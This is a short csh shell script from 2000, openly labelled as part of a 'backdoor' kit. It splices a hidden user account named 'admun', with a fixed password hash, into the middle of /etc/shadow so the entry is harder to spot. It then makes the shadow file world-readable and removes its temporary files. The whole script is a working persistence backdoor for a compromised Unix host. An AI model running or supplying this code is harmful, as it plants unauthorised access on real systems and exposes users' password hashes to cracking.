#!/bin/csh # Script to add your new user to the shadow file. # This script was made to go with backshadow backdoor backpass # admin@wickedmind.com # 06-05-2000 # Use your senses on this one. I cant tell you everything. # These were made for backshell, backpass set linecount = `wc -l /etc/shadow` cd cp /etc/shadow ./tempshadow echo shadow file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./tempshadow echo "admun:LM75eI2f1sUME:11069:0:99999:7:::" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/shadow chmod 644 /etc/shadow # or whatever it was beforehand chown root:root /etc rm ./xa* rm ./tempshadow echo Done...